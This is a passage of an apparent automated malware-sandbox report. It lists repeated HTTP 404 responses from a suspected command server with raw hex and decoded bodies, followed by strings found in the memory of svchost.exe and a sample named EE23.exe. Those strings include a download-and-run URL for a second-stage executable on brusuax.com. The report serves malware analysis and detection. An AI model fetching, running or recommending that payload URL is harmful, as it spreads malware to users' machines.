Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at trad-einmyus.com Port 80</address></body></html>0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:17:44 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d2 97 43 02 6f 1f ff b3 9f b7 e4 12 be 53 da 2c b2 4e 5a 0d 0a 30 0d 0a 0d 0a Data Ascii: 26I:82OCoS,NZ0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:17:45 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 74 72 61 64 2d 65 69 6e 6d 79 75 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at trad-einmyus.com Port 80</address></body></html>0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:17:47 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 66 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f cc d5 54 02 6c 5c e5 aa 81 fc ab 12 ea 15 da 2d b8 45 52 9d 0b fe ee 3a ae 2f 4d 1b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2fI:82OTl\-ER:/M0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:17:58 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 74 72 61 64 2d 65 69 6e 6d 79 75 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at trad-einmyus.com Port 80</address></body></html>0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:18:01 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 32 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d1 86 5f 49 6a 0b f1 bc 9c a0 ab 1a ea 1f d1 6f f8 59 4d 90 00 e3 a6 2e ef 25 0d 50 b9 e1 d9 0d 0a 30 0d 0a 0d 0a Data Ascii: 32I:82O_IjoYM.%P0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:18:02 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 66 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 8a 47 0f 7f 13 bd a8 89 a6 bd 1e b0 17 90 61 bb 5f 5c 9f 4a a0 b8 78 ae 2f 4d 1b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2fI:82OGa_\Jx/M0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:18:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 33 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 95 43 04 6e 1b e4 a7 9f b6 af 01 a5 0f dd 6d b6 18 5c 9b 08 be cc 28 f2 29 5a 46 f2 fc c4 4a 0d 0a 30 0d 0a 0d 0a Data Ascii: 33I:82OCnm\()ZFJ0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:18:06 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 74 72 61 64 2d 65 69 6e 6d 79 75 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at trad-einmyus.com Port 80</address></body></html>0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:18:07 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 65 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 5f 78 cc 27 f5 ff 04 d9 0c 05 51 92 f1 d2 5c f8 0f 90 05 95 a5 79 9b 77 a7 f9 0d 0a 30 0d 0a 0d 0a Data Ascii: 3eI:82OTev_x'Q\yw0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:18:10 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 74 72 61 64 2d 65 69 6e 6d 79 75 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at trad-einmyus.com Port 80</address></body></html>0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:18:10 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 31 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 9e 4f 17 25 01 e5 e9 de eb ab 02 81 49 0d 0a 30 0d 0a 0d 0a Data Ascii: 21I:82OO%I0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:18:13 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 74 72 61 64 2d 65 69 6e 6d 79 75 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at trad-einmyus.com Port 80</address></body></html>0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:19:24 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 37 0d 0a 03 00 00 00 79 fa f3 0d 0a 30 0d 0a 0d 0a Data Ascii: 7y0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:19:30 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 37 0d 0a 03 00 00 00 79 fa f3 0d 0a 30 0d 0a 0d 0a Data Ascii: 7y0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:19:33 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 37 0d 0a 03 00 00 00 79 fa f3 0d 0a 30 0d 0a 0d 0a Data Ascii: 7y0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:19:37 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 37 0d 0a 03 00 00 00 79 fa f3 0d 0a 30 0d 0a 0d 0a Data Ascii: 7y0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:19:40 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 37 0d 0a 03 00 00 00 79 fa f3 0d 0a 30 0d 0a 0d 0a Data Ascii: 7y0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:19:42 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 37 0d 0a 03 00 00 00 79 fa f3 0d 0a 30 0d 0a 0d 0a Data Ascii: 7y0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:19:48 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 37 0d 0a 03 00 00 00 79 fa f3 0d 0a 30 0d 0a 0d 0a Data Ascii: 7y0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:19:52 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 37 0d 0a 03 00 00 00 79 fa f3 0d 0a 30 0d 0a 0d 0a Data Ascii: 7y0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:19:55 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 37 0d 0a 03 00 00 00 79 fa f3 0d 0a 30 0d 0a 0d 0a Data Ascii: 7y0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:19:58 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 37 0d 0a 03 00 00 00 79 fa f3 0d 0a 30 0d 0a 0d 0a Data Ascii: 7y0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:20:02 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 37 0d 0a 03 00 00 00 79 fa f3 0d 0a 30 0d 0a 0d 0a Data Ascii: 7y0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:20:07 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 37 0d 0a 03 00 00 00 79 fa f3 0d 0a 30 0d 0a 0d 0a Data Ascii: 7y0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:20:11 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 37 0d 0a 03 00 00 00 79 fa f3 0d 0a 30 0d 0a 0d 0a Data Ascii: 7y0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:20:15 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 37 0d 0a 03 00 00 00 79 fa f3 0d 0a 30 0d 0a 0d 0a Data Ascii: 7y0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:20:21 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 37 0d 0a 03 00 00 00 79 fa f2 0d 0a 30 0d 0a 0d 0a Data Ascii: 7y0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:20:21 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 31 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 9e 4f 17 25 01 e5 e9 de eb 87 1a 81 49 0d 0a 30 0d 0a 0d 0a Data Ascii: 21I:82OO%I0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:20:26 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 74 72 61 64 2d 65 69 6e 6d 79 75 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at trad-einmyus.com Port 80</address></body></html>0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:20:33 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 37 0d 0a 03 00 00 00 79 fa f3 0d 0a 30 0d 0a 0d 0a Data Ascii: 7y0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:20:38 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 37 0d 0a 03 00 00 00 79 fa f3 0d 0a 30 0d 0a 0d 0a Data Ascii: 7y0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:20:42 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 37 0d 0a 03 00 00 00 79 fa f3 0d 0a 30 0d 0a 0d 0a Data Ascii: 7y0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:20:45 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 37 0d 0a 03 00 00 00 79 fa f3 0d 0a 30 0d 0a 0d 0a Data Ascii: 7y0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:20:48 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 37 0d 0a 03 00 00 00 79 fa f3 0d 0a 30 0d 0a 0d 0a Data Ascii: 7y0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:20:52 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 37 0d 0a 03 00 00 00 79 fa f3 0d 0a 30 0d 0a 0d 0a Data Ascii: 7y0
                          Source: svchost.exe, 00000009.00000002.4437576029.0000018DC7902000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2408646351.0000018DC8182000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://Passport.NET/STS
                          Source: svchost.exe, 00000009.00000002.4441005756.0000018DC8860000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://Passport.NET/STS&lt;/ds:KeyName&gt;&lt;/ds:KeyInfo&gt;
                          Source: svchost.exe, 00000009.00000002.4437576029.0000018DC7902000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://Passport.NET/STS&lt;/ds:KeyName&gt;&lth
                          Source: svchost.exe, 00000009.00000003.2757569541.0000018DC816D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4439435141.0000018DC816E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://Passport.NET/STS09/xmldsig#ripledes-cbcices/SOAPFaultcurity-utility-1.0.xsd
                          Source: svchost.exe, 00000009.00000003.2408646351.0000018DC8182000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://Passport.NET/tb
                          Source: svchost.exe, 00000009.00000002.4440863702.0000018DC8842000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://Passport.NET/tb_
                          Source: svchost.exe, 00000009.00000002.4441005756.0000018DC8860000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://Passport.NET/tbpose
                          Source: EE23.exe, 00000012.00000003.2440754004.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, EE23.exe, 00000012.00000003.2441958699.00000000009D1000.00000004.00000020.00020000.00000000.sdmp, EE23.exe, 00000012.00000003.2440754004.00000000009D6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://brusuax.com/dl/build2.exe
                          Source: EE23.exe, 00000012.00000002.4436429533.000000000097B000.00000004.00000020.00020000.00000000.sdmp, EE23.exe, 00000012.00000002.4439698845.00000000030B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://brusuax.com/dl/build2.exe$run
                          Source: EE23.exe, 00000012.00000003.2440754004.00000000009C8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://brusuax.com/dl/build2.exeLtd1
                          Source: EE23.exe, 00000012.00000003.2440754004.00000000009D6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://brusuax.com/dl/build2.exeR
